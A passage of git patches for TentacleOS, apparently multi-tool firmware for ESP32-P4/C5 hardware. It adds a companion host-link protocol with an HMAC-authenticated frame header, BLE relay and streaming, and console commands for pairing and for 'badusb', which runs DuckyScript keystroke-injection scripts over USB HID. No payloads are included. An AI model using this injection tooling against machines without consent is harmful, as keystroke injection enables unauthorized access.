host_link_emit_stream(SPI_CMD_CAT(op), SPI_CMD_OP(op), data, len); +} + +static void on_lost(uint32_t session_id, spi_id_t op_id) { + (void)session_id; + // The C5 (or a preempting start) ended the session. Tell the app the stream + // is over via a SESSION/LOST STREAM frame, then clear local state. + xSemaphoreTake(s_lock, portMAX_DELAY); + bool was_ours = (op_id == s_session_op && s_session_id != SPI_SESSION_INVALID_ID); + s_session_id = SPI_SESSION_INVALID_ID; + s_session_op = 0; + xSemaphoreGive(s_lock); + + if (was_ours) { + host_link_emit_stream(SPI_CAT_SESSION, SPI_CMD_OP(SPI_ID_SESSION_LOST), NULL, 0); + } +} + +static void watchdog_task(void *arg) { + (void)arg; + for (;;) { + vTaskDelay(pdMS_TO_TICKS(STREAM_WATCHDOG_TICK_MS)); + + xSemaphoreTake(s_lock, portMAX_DELAY); + bool active = (s_session_id != SPI_SESSION_INVALID_ID); + int64_t since_us = esp_timer_get_time() - s_last_app_hb_us; + bool stale = active && (since_us > (int64_t)STREAM_APP_TIMEOUT_MS * 1000); + if (stale) { + ESP_LOGW(TAG, "App heartbeat stale; tearing down stream session"); + stop_locked(); + } + xSemaphoreGive(s_lock); + } +} diff --git a/firmware_p4/components/Service/host_link/include/host_link.h b/firmware_p4/components/Service/host_link/include/host_link.h new file mode 100644 index 000000000..ad0d58335 --- /dev/null +++ b/firmware_p4/components/Service/host_link/include/host_link.h @@ -0,0 +1,171 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_LINK_H +#define HOST_LINK_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +#include "esp_err.h" + +// Host-link frame envelope (see HOST_LINK_PROTOCOL.md): +// [MAGIC 'H''B'][VER u8][FLAGS u8][COUNTER u32][LEN u16][BODY LEN][MAC 16 if FLAGS.auth] +// BODY = [type u8][category u8][op u8][payload...] +// Phase 1: no crypto — FLAGS.auth is 0 and no MAC is present/verified. + +#define HOST_LINK_MAGIC0 0x48 // 'H' +#define HOST_LINK_MAGIC1 0x42 // 'B' +#define HOST_LINK_VER 1 + +#define HOST_LINK_HDR_SIZE 10 // MAGIC(2)+VER(1)+FLAGS(1)+COUNTER(4)+LEN(2) +#define HOST_LINK_MAC_SIZE 16 + +#define HOST_LINK_FLAG_AUTH 0x01 + +// BODY type (mirrors spi_type_t, plus LOG for pushed log text and the two +// pre-auth handshake frames). Handshake frames always travel unauthenticated +// (FLAGS.auth = 0, no envelope MAC); their proof is the mac_psk in the payload. +typedef enum { + HOST_TYPE_CMD = 0x01, + HOST_TYPE_RESP = 0x02, + HOST_TYPE_STREAM = 0x03, + HOST_TYPE_LOG = 0x04, + HOST_TYPE_HELLO = 0x10, // app → device: { host_ver, client_nonce[16] } + HOST_TYPE_HELLO_ACK = 0x11, // device → app: { host_ver, server_nonce[16], device_id[6], mac_psk[16] } +} host_type_t; + +#define HOST_LINK_NONCE_SIZE 16 +#define HOST_LINK_DEVICE_ID_SIZE 6 // base MAC + +// LOG frame: BODY = [type=LOG][category=0][op=0][source u8][level u8][utf-8 text]. +// The two consoles in the app are split by `source`; coloring/filtering by `level`. +typedef enum { + HOST_LOG_SRC_P4 = 0, + HOST_LOG_SRC_C5 = 1, +} host_log_source_t; + +typedef enum { + HOST_LOG_LEVEL_ERROR = 0, + HOST_LOG_LEVEL_WARN = 1, + HOST_LOG_LEVEL_INFO = 2, + HOST_LOG_LEVEL_DEBUG = 3, + HOST_LOG_LEVEL_VERBOSE = 4, +} host_log_level_t; + +// Transport write callback: emit one fully-framed host frame (CDC/BLE owns it). +typedef void (*host_link_writer_t)(const uint8_t *frame, size_t len); + +/** + * @brief Initialize the host-link layer (reassembly + dispatch state). + */ +esp_err_t host_link_init(void); + +/** + * @brief Claim the single companion session for a transport's writer. + * + * Only one transport (USB CDC or BLE) owns the session at a time; a second + * transport's acquire is rejected while another holds it. The owning writer + * receives all device→app frames (RESP/LOG/STREAM). + * + * @return true if the session is now owned by @p writer. + */ +bool host_link_session_acquire(host_link_writer_t writer); + +/** + * @brief Release the session if @p writer owns it; resets crypto + reassembly + * so a reconnecting app must re-handshake. + */ +void host_link_session_release(host_link_writer_t writer); + +/** @brief True if @p writer currently owns the session. */ +bool host_link_session_owns(host_link_writer_t writer); + +/** + * @brief Feed received transport bytes. May contain partial or multiple frames; + * complete frames are reassembled, dispatched, and answered via the + * registered writer. + */ +void host_link_feed(const uint8_t *data, size_t len); + +/** + * @brief Discard any partially-reassembled frame. Call when the transport drops + * so stale bytes don't bleed into the next session. + */ +void host_link_reset_rx(void); + +/** + * @brief Bring up the USB CDC-ACM companion transport: ensures the TinyUSB + * composite is installed, initializes the CDC interface, registers the + * CDC writer, and spawns the worker task that drains RX into the + * host-link core. Call after host_link_init(). + */ +esp_err_t host_link_cdc_init(void); + +/** + * @brief Emit a single LOG frame to the app (device → app push). + * + * @param source Which chip produced the line (P4 / C5). + * @param level Severity (maps to ESP_LOGx). + * @param text UTF-8 log text (ANSI already stripped by the caller). + * @param text_len Length of @p text in bytes (no NUL needed). + */ +void host_link_emit_log(host_log_source_t source, host_log_level_t level, const char *text, + size_t text_len); + +/** + * @brief Emit console-command output to the app (source=P4 LOG frames). Unlike + * host_link_emit_log this is NOT gated by the log-over-BLE toggle — it is + * the direct result of a command the app explicitly ran. + */ +void host_link_emit_console(const char *text, size_t text_len); + +/** + * @brief Push a STREAM frame to the app (device→app live data, e.g. sniffer + * records). @p category/@p op identify the originating operation. + */ +void host_link_emit_stream(uint8_t category, uint8_t op, const uint8_t *data, uint16_t len); + +/** + * @brief Tell the core which writer corresponds to the BLE transport, so the + * log-over-BLE toggle can gate background logs on BLE only. + */ +void host_link_mark_ble_writer(host_link_writer_t writer); + +/** + * @brief Install the P4 log tee: hooks esp_log_set_vprintf (preserving the local + * dev console), buffers lines in a drop-oldest ring, and spawns a worker + * that forwards them as LOG frames with source=P4. Call after + * host_link_cdc_init(). + */ +esp_err_t host_link_log_init(void); + +/** + * @brief Register the C5 log relay: consumes the SPI_ID_SYSTEM_LOG stream from + * the C5 and re-emits each line as a LOG frame with source=C5. Call after + * the SPI bridge is up. + */ +esp_err_t host_link_c5log_init(void); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_LINK_H diff --git a/firmware_p4/components/Service/host_link/include/host_link_ble.h b/firmware_p4/components/Service/host_link/include/host_link_ble.h new file mode 100644 index 000000000..c9a630b9a --- /dev/null +++ b/firmware_p4/components/Service/host_link/include/host_link_ble.h @@ -0,0 +1,53 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_LINK_BLE_H +#define HOST_LINK_BLE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#include "esp_err.h" + +// BLE companion transport for the host link. BLE terminates on the C5; this +// module relays opaque host frames over the SPI bridge (SPI_ID_HOST_RX stream +// in, SPI_ID_HOST_TX push out) and drives the C5 GATT server. The P4 owns the +// security envelope — the C5 only moves bytes. Mirrors the MeshCore phone +// bridge. + +/** + * @brief Set up the BLE relay (stream callback + status task). Does NOT start + * advertising; call host_link_ble_start() for that. Run after + * host_link_init(). + */ +esp_err_t host_link_ble_init(void); + +/** @brief Ask the C5 to start the GATT server and advertise. */ +esp_err_t host_link_ble_start(void); + +/** @brief Ask the C5 to stop the GATT server. */ +esp_err_t host_link_ble_stop(void); + +/** @brief True if a companion is connected over BLE. */ +bool host_link_ble_is_connected(void); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_LINK_BLE_H diff --git a/firmware_p4/components/Service/host_link/include/host_link_files.h b/firmware_p4/components/Service/host_link/include/host_link_files.h new file mode 100644 index 000000000..6de41fe71 --- /dev/null +++ b/firmware_p4/components/Service/host_link/include/host_link_files.h @@ -0,0 +1,54 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_LINK_FILES_H +#define HOST_LINK_FILES_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +// P4-local file operations for the companion host link (FILE_* ops). The P4 +// owns both filesystems (internal flash + micro-SD); these handlers are run +// locally, never relayed to the C5. Paths are sandboxed to the mounted roots. +// +// Largest data carried in one FILE_READ chunk / FILE_WRITE data segment. +#define HOST_FILE_DATA_MAX 1024 + +/** @brief True if @p cmd (a packed SPI_CMD id) is a P4-local file op. */ +bool host_files_is_file_op(uint16_t cmd); + +/** + * @brief Execute a file op locally. + * + * @param cmd Packed command id (SPI_ID_FILE_*). + * @param payload Request payload (layout per op; see host_link_files.c). + * @param plen Payload length. + * @param out_data Response data buffer (written without the status byte). + * @param out_cap Capacity of @p out_data. + * @param out_len Receives the response data length. + * @return spi_status_t value (OK / ERROR / INVALID_ARG / ...). + */ +uint8_t host_files_handle(uint16_t cmd, const uint8_t *payload, uint16_t plen, uint8_t *out_data, + uint16_t out_cap, uint16_t *out_len); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_LINK_FILES_H diff --git a/firmware_p4/components/Service/host_link/include/host_link_sec.h b/firmware_p4/components/Service/host_link/include/host_link_sec.h new file mode 100644 index 000000000..f8aaca5f8 --- /dev/null +++ b/firmware_p4/components/Service/host_link/include/host_link_sec.h @@ -0,0 +1,103 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_LINK_SEC_H +#define HOST_LINK_SEC_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +#include "esp_err.h" + +// Host-link security core (host-link internal). Implements the HMAC-SHA256/HKDF +// envelope from HOST_LINK_PROTOCOL.md §6 over mbedTLS: +// - PSK persisted in NVS (auto-generated on first boot). +// - HELLO/HELLO_ACK handshake → per-direction session keys + counter reset. +// - Per-frame MAC verify (inbound, K_a2d) / sign (outbound, K_d2a). +// - Monotonic inbound counter (replay rejection). + +#define HOST_LINK_PSK_SIZE 32 +#define HOST_LINK_KEY_SIZE 32 +#define HOST_LINK_PSK_HEX_SIZE (HOST_LINK_PSK_SIZE * 2 + 1) + +/** + * @brief Load the PSK from NVS (generating + persisting a random one if absent) + * and clear any session state. Call once at host-link init. + */ +esp_err_t host_link_sec_init(void); + +/** @brief True once a HELLO handshake has established session keys. */ +bool host_link_sec_is_authenticated(void); + +/** @brief Drop the current session (e.g. on transport disconnect). */ +void host_link_sec_reset(void); + +/** + * @brief Process an inbound HELLO payload and build the HELLO_ACK payload. + * + * Derives K_a2d/K_d2a, marks the session authenticated, and resets the inbound + * counter baseline. The caller emits @p ack_out as an unauthenticated + * HELLO_ACK frame. + * + * @param payload HELLO payload: [host_ver u8][client_nonce[16]]. + * @param plen Length of @p payload. + * @param ack_out Buffer for the HELLO_ACK payload. + * @param ack_cap Capacity of @p ack_out. + * @param out_len Receives the HELLO_ACK payload length. + */ +esp_err_t host_link_sec_handle_hello(const uint8_t *payload, uint16_t plen, uint8_t *ack_out, + size_t ack_cap, size_t *out_len); + +/** + * @brief Verify an inbound authenticated frame: recompute the MAC over @p span + * with K_a2d, constant-time compare against @p mac, and require the + * counter to be strictly newer than the last accepted one. + * + * On success the inbound counter baseline is advanced. + * + * @param span Bytes covered by the MAC ([VER .. end of BODY)). + * @param span_len Length of @p span. + * @param mac Received 16-byte MAC. + * @param counter Frame counter (from the envelope). + * @return true if authentic and fresh. + */ +bool host_link_sec_verify_inbound(const uint8_t *span, size_t span_len, const uint8_t *mac, + uint32_t counter); + +/** + * @brief Compute the outbound 16-byte MAC over @p span with K_d2a. + * + * @param span Bytes to authenticate ([VER .. end of BODY)). + * @param span_len Length of @p span. + * @param out_mac Receives the 16-byte truncated HMAC. + */ +void host_link_sec_sign_outbound(const uint8_t *span, size_t span_len, uint8_t *out_mac); + +/** @brief Copy the PSK as a lowercase hex string (for QR/console provisioning). */ +esp_err_t host_link_sec_get_psk_hex(char *out, size_t out_cap); + +/** @brief Generate, persist, and switch to a new random PSK (invalidates pairings). */ +esp_err_t host_link_sec_regenerate_psk(void); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_LINK_SEC_H diff --git a/firmware_p4/components/Service/host_link/include/host_link_state.h b/firmware_p4/components/Service/host_link/include/host_link_state.h new file mode 100644 index 000000000..6b58b7afc --- /dev/null +++ b/firmware_p4/components/Service/host_link/include/host_link_state.h @@ -0,0 +1,61 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_LINK_STATE_H +#define HOST_LINK_STATE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +#include "esp_err.h" + +// Companion device state, settings (toggles), and raw console execution. All +// P4-local host-link ops (never relayed to the C5). + +/** @brief Load the toggle settings from NVS (defaults to on). */ +esp_err_t host_link_state_init(void); + +/** @brief True if the app may run raw console lines (default on). */ +bool host_settings_console_exec_enabled(void); + +/** @brief True if logs may be delivered over BLE (default on; USB always on). */ +bool host_settings_log_over_ble_enabled(void); + +/** @brief True if @p cmd is a P4-local device-state/settings/console op. */ +bool host_state_is_local_op(uint16_t cmd); + +/** + * @brief Execute a device-state / settings / console-exec op locally. + * + * @param cmd Packed command id (SPI_ID_SYSTEM_DEVICE_STATE / *_SETTINGS / *_CONSOLE_EXEC). + * @param payload Request payload. + * @param plen Payload length. + * @param out_data Response data buffer (written without the status byte). + * @param out_cap Capacity of @p out_data. + * @param out_len Receives the response data length. + * @return spi_status_t value. + */ +uint8_t host_state_handle(uint16_t cmd, const uint8_t *payload, uint16_t plen, uint8_t *out_data, + uint16_t out_cap, uint16_t *out_len); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_LINK_STATE_H diff --git a/firmware_p4/components/Service/host_link/include/host_link_stream.h b/firmware_p4/components/Service/host_link/include/host_link_stream.h new file mode 100644 index 000000000..fa029990a --- /dev/null +++ b/firmware_p4/components/Service/host_link/include/host_link_stream.h @@ -0,0 +1,64 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_LINK_STREAM_H +#define HOST_LINK_STREAM_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +#include "esp_err.h" + +// Companion streaming + heartbeat proxy. Long-running ops the app starts (e.g. +// the WiFi sniffer) run through the existing spi_session model; their records +// are pushed to the app as STREAM frames. The app heartbeats the P4 to prove +// liveness; if it goes silent (or the link drops) the P4 tears the session +// down, which stops its own heartbeat to the C5 → the C5 watchdog kills it. + +/** @brief Init the streaming proxy (mutex + app-liveness watchdog state). */ +esp_err_t host_link_stream_init(void); + +/** @brief True if @p cmd starts a session-based stream the proxy should own. */ +bool host_stream_is_session_op(uint16_t cmd); + +/** + * @brief Start a session-based stream on the app's behalf (spi_session_start) + * and begin pushing its records as STREAM frames. + * + * @return spi_status_t; on OK writes the session id (u32) into @p out_data. + */ +uint8_t host_stream_start(uint16_t cmd, const uint8_t *payload, uint16_t plen, uint8_t *out_data, + uint16_t out_cap, uint16_t *out_len); + +/** + * @brief Handle a SESSION-category control command from the app (HEARTBEAT / + * STOP). Heartbeats refresh app liveness; STOP tears the session down. + * These are P4-local — the P4 keeps heartbeating the C5 itself. + */ +uint8_t host_stream_session_ctrl(uint16_t cmd, const uint8_t *payload, uint16_t plen, + uint8_t *out_data, uint16_t out_cap, uint16_t *out_len); + +/** @brief Tear down any active stream (called on companion link loss). */ +void host_stream_teardown(void); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_LINK_STREAM_H diff --git a/firmware_p4/sdkconfig.defaults b/firmware_p4/sdkconfig.defaults index f83a64cd9..2d2c407c1 100644 --- a/firmware_p4/sdkconfig.defaults +++ b/firmware_p4/sdkconfig.defaults @@ -37,6 +37,10 @@ CONFIG_ESP_CONSOLE_SECONDARY_USB_SERIAL_JTAG=y CONFIG_TINYUSB_HID_COUNT=2 CONFIG_TINYUSB_MODE_DMA=y +# TinyUSB CDC-ACM — companion host link (composite alongside the HID) +CONFIG_TINYUSB_CDC_ENABLED=y +CONFIG_TINYUSB_CDC_COUNT=1 + # Required for sys_monitor (uxTaskGetSystemState / vTaskList) CONFIG_FREERTOS_USE_TRACE_FACILITY=y CONFIG_FREERTOS_USE_STATS_FORMATTING_FUNCTIONS=y @@ -47,3 +51,9 @@ CONFIG_LV_FONT_MONTSERRAT_14=y # Default log level INFO CONFIG_LOG_DEFAULT_LEVEL_INFO=y + +# HKDF for the companion host-link key derivation (disabled by default in IDF) +CONFIG_MBEDTLS_HKDF_C=y + +# LVGL QR code widget — companion pairing screen renders the PSK as a QR +CONFIG_LV_USE_QRCODE=y From 1efe06b738696f6960808f24225cff5e1ec0bbc1 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:31:32 -0300 Subject: [PATCH 050/572] feat(console): add badusb and hostlink commands --- .../Service/console/commands/cmd_badusb.c | 198 ++++++++++++++++++ .../Service/console/commands/cmd_hostlink.c | 112 ++++++++++ .../Service/console/console_service.c | 2 + .../Service/console/include/console_service.h | 10 + 4 files changed, 322 insertions(+) create mode 100644 firmware_p4/components/Service/console/commands/cmd_badusb.c create mode 100644 firmware_p4/components/Service/console/commands/cmd_hostlink.c diff --git a/firmware_p4/components/Service/console/commands/cmd_badusb.c b/firmware_p4/components/Service/console/commands/cmd_badusb.c new file mode 100644 index 000000000..3bc8cc9dd --- /dev/null +++ b/firmware_p4/components/Service/console/commands/cmd_badusb.c @@ -0,0 +1,198 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "console_service.h" + +#include +#include + +#include "argtable3/argtable3.h" +#include "esp_console.h" +#include "esp_err.h" + +#include "bad_usb.h" +#include "ducky_parser.h" +#include "tinyusb.h" + +#define BADUSB_TYPE_BUF_SIZE 256 +#define BADUSB_ASSET_DIR "storage/bad_usb_scripts/" +#define BADUSB_ASSET_PATH_MAX 128 + +// Bring the HID side of the composite up and register the keyboard/mouse +// callbacks. busb_init() is idempotent, so this is safe even though the host +// link already installed TinyUSB at boot. +static esp_err_t ensure_badusb_ready(void) { + esp_err_t err = bad_usb_init(); + if (err == ESP_ERR_INVALID_STATE) { + return ESP_OK; // already initialized + } + return err; +} + +// --- RUN --- +static struct { + struct arg_str *asset; + struct arg_str *file; + struct arg_end *end; +} s_run_args; + +static int subcmd_run(int argc, char **argv) { + int nerrors = arg_parse(argc, argv, (void **)&s_run_args); + if (nerrors != 0) { + arg_print_errors(stderr, s_run_args.end, "badusb run"); + return 1; + } + + if (s_run_args.asset->count == 0 && s_run_args.file->count == 0) { + printf("Usage: badusb run -a | -f \n"); + return 1; + } + + if (ensure_badusb_ready() != ESP_OK) { + printf("Failed to initialize BadUSB.\n"); + return 1; + } + ducky_set_output_mode(DUCKY_OUTPUT_USB); + + esp_err_t err; + if (s_run_args.asset->count > 0) { + // Asset scripts live under /assets/storage/bad_usb_scripts/; the loader + // prepends /assets/, so we only add the script subdirectory here. + char asset_path[BADUSB_ASSET_PATH_MAX]; + snprintf(asset_path, sizeof(asset_path), "%s%s", BADUSB_ASSET_DIR, s_run_args.asset->sval[0]); + printf("Running asset script '%s'...\n", asset_path); + err = ducky_run_from_assets(asset_path); + } else { + const char *path = s_run_args.file->sval[0]; + printf("Running SD script '%s'...\n", path); + err = ducky_run_from_sdcard(path); + } + + if (err == ESP_OK) { + printf("Script finished.\n"); + return 0; + } + printf("Script failed: %s\n", esp_err_to_name(err)); + return 1; +} + +// --- TYPE --- +static int subcmd_type(int sub_argc, char **sub_argv) { + if (sub_argc < 2) { + printf("Usage: badusb type \n"); + return 1; + } + + if (ensure_badusb_ready() != ESP_OK) { + printf("Failed to initialize BadUSB.\n"); + return 1; + } + ducky_set_output_mode(DUCKY_OUTPUT_USB); + + // Re-join the remaining argv tokens into a single DuckyScript STRING line. + char script[BADUSB_TYPE_BUF_SIZE]; + int n = snprintf(script, sizeof(script), "STRING "); + for (int i = 1; i < sub_argc && n < (int)sizeof(script); i++) { + n += snprintf(script + n, sizeof(script) - n, "%s%s", (i > 1) ? " " : "", sub_argv[i]); + } + + printf("Typing: %s\n", script + strlen("STRING ")); + ducky_parse_and_run(script); + printf("Done.\n"); + return 0; +} + +// --- LAYOUT --- +static int subcmd_layout(int sub_argc, char **sub_argv) { + if (sub_argc < 2) { + printf("Usage: badusb layout \n"); + return 1; + } + + const char *l = sub_argv[1]; + if (strcasecmp(l, "us") == 0) { + ducky_set_layout(DUCKY_LAYOUT_US); + printf("Layout set to US.\n"); + } else if (strcasecmp(l, "abnt2") == 0) { + ducky_set_layout(DUCKY_LAYOUT_ABNT2); + printf("Layout set to ABNT2.\n"); + } else { + printf("Unknown layout '%s'. Use: us | abnt2\n", l); + return 1; + } + return 0; +} + +// --- STOP --- +static int subcmd_stop(void) { + ducky_abort(); + printf("Abort requested (stops at next line).\n"); + return 0; +} + +// --- STATUS --- +static int subcmd_status(void) { + printf("--- BadUSB Status ---\n"); + printf("USB mounted: %s\n", tud_mounted() ? "Yes" : "No"); + return 0; +} + +static int cmd_badusb(int argc, char **argv) { + if (argc < 2) { + printf("Usage: badusb [options]\n\n"); + printf("Commands:\n"); + printf(" run Run a DuckyScript\n"); + printf(" -a (internal) | -f \n"); + printf(" type Type a literal string over HID\n"); + printf(" type \n"); + printf(" layout Set keyboard layout\n"); + printf(" layout \n"); + printf(" stop Abort the running script\n"); + printf(" status Show USB mount status\n"); + return 0; + } + + const char *subcmd = argv[1]; + int sub_argc = argc - 1; + char **sub_argv = &argv[1]; + + if (strcmp(subcmd, "run") == 0) + return subcmd_run(sub_argc, sub_argv); + if (strcmp(subcmd, "type") == 0) + return subcmd_type(sub_argc, sub_argv); + if (strcmp(subcmd, "layout") == 0) + return subcmd_layout(sub_argc, sub_argv); + if (strcmp(subcmd, "stop") == 0) + return subcmd_stop(); + if (strcmp(subcmd, "status") == 0) + return subcmd_status(); + + printf("Unknown badusb command: %s\n", subcmd); + return 1; +} + +void register_badusb_commands(void) { + s_run_args.asset = + arg_str0("a", "asset", "", "Run script from internal bad_usb_scripts"); + s_run_args.file = arg_str0("f", "file", "", "Run script from SD card"); + s_run_args.end = arg_end(1); + + const esp_console_cmd_t badusb_cmd = {.command = "badusb", + .help = "BadUSB HID injection (DuckyScript)", + .hint = " ...", + .func = &cmd_badusb, + .argtable = NULL}; + ESP_ERROR_CHECK(esp_console_cmd_register(&badusb_cmd)); +} diff --git a/firmware_p4/components/Service/console/commands/cmd_hostlink.c b/firmware_p4/components/Service/console/commands/cmd_hostlink.c new file mode 100644 index 000000000..674e8862e --- /dev/null +++ b/firmware_p4/components/Service/console/commands/cmd_hostlink.c @@ -0,0 +1,112 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "console_service.h" + +#include +#include + +#include "esp_console.h" +#include "esp_err.h" + +#include "host_link_ble.h" +#include "host_link_sec.h" + +static int subcmd_psk(void) { + char hex[HOST_LINK_PSK_HEX_SIZE]; + esp_err_t err = host_link_sec_get_psk_hex(hex, sizeof(hex)); + if (err != ESP_OK) { + printf("PSK unavailable: %s\n", esp_err_to_name(err)); + return 1; + } + printf("Pairing PSK (provision to the companion app):\n %s\n", hex); + return 0; +} + +static int subcmd_regen(void) { + esp_err_t err = host_link_sec_regenerate_psk(); + if (err != ESP_OK) { + printf("Regenerate failed: %s\n", esp_err_to_name(err)); + return 1; + } + printf("New PSK generated. Existing pairings are now invalid.\n"); + return subcmd_psk(); +} + +static int subcmd_status(void) { + printf("--- Host Link Status ---\n"); + printf("Session: %s\n", host_link_sec_is_authenticated() ? "AUTHENTICATED" : "not paired"); + printf("BLE: %s\n", host_link_ble_is_connected() ? "connected" : "no companion"); + return 0; +} + +static int subcmd_ble(int sub_argc, char **sub_argv) { + if (sub_argc < 2) { + printf("Usage: hostlink ble \n"); + return 1; + } + + const char *arg = sub_argv[1]; + esp_err_t err; + if (strcmp(arg, "on") == 0) { + err = host_link_ble_start(); + } else if (strcmp(arg, "off") == 0) { + err = host_link_ble_stop(); + } else { + printf("Usage: hostlink ble \n"); + return 1; + } + + if (err != ESP_OK) { + printf("BLE %s failed: %s\n", arg, esp_err_to_name(err)); + return 1; + } + printf("BLE companion %s.\n", (strcmp(arg, "on") == 0) ? "advertising" : "stopped"); + return 0; +} + +static int cmd_hostlink(int argc, char **argv) { + if (argc < 2) { + printf("Usage: hostlink \n\n"); + printf("Commands:\n"); + printf(" psk Show the pairing PSK (for QR/manual provisioning)\n"); + printf(" regen Generate a new PSK (invalidates current pairings)\n"); + printf(" ble Companion BLE on/off (ble )\n"); + printf(" status Show the companion session state\n"); + return 0; + } + + const char *subcmd = argv[1]; + if (strcmp(subcmd, "psk") == 0) + return subcmd_psk(); + if (strcmp(subcmd, "regen") == 0) + return subcmd_regen(); + if (strcmp(subcmd, "ble") == 0) + return subcmd_ble(argc - 1, &argv[1]); + if (strcmp(subcmd, "status") == 0) + return subcmd_status(); + + printf("Unknown hostlink command: %s\n", subcmd); + return 1; +} + +void register_hostlink_commands(void) { + const esp_console_cmd_t hostlink_cmd = {.command = "hostlink", + .help = "Companion host-link pairing & status", + .hint = "", + .func = &cmd_hostlink, + .argtable = NULL}; + ESP_ERROR_CHECK(esp_console_cmd_register(&hostlink_cmd)); +} diff --git a/firmware_p4/components/Service/console/console_service.c b/firmware_p4/components/Service/console/console_service.c index 8967a9909..e2ca00d4f 100644 --- a/firmware_p4/components/Service/console/console_service.c +++ b/firmware_p4/components/Service/console/console_service.c @@ -39,6 +39,8 @@ esp_err_t console_service_init(void) { register_system_commands(); register_fs_commands(); register_wifi_commands(); + register_badusb_commands(); + register_hostlink_commands(); #if defined(CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG) ESP_LOGI(TAG, "Initializing USB Serial/JTAG Console (Native S3)"); diff --git a/firmware_p4/components/Service/console/include/console_service.h b/firmware_p4/components/Service/console/include/console_service.h index a425808a4..10366abd5 100644 --- a/firmware_p4/components/Service/console/include/console_service.h +++ b/firmware_p4/components/Service/console/include/console_service.h @@ -49,6 +49,16 @@ void register_system_commands(void); */ void register_wifi_commands(void); +/** + * @brief Register BadUSB commands (run, type, layout, stop, status). + */ +void register_badusb_commands(void); + +/** + * @brief Register host-link commands (psk, regen, status). + */ +void register_hostlink_commands(void); + #ifdef __cplusplus } #endif From e3ddf579ba8e8c17bb8b8992e3b51972bcd256be Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:31:40 -0300 Subject: [PATCH 051/572] feat(ui): add companion pairing screen with PSK QR code --- .../components/Applications/CMakeLists.txt | 3 + 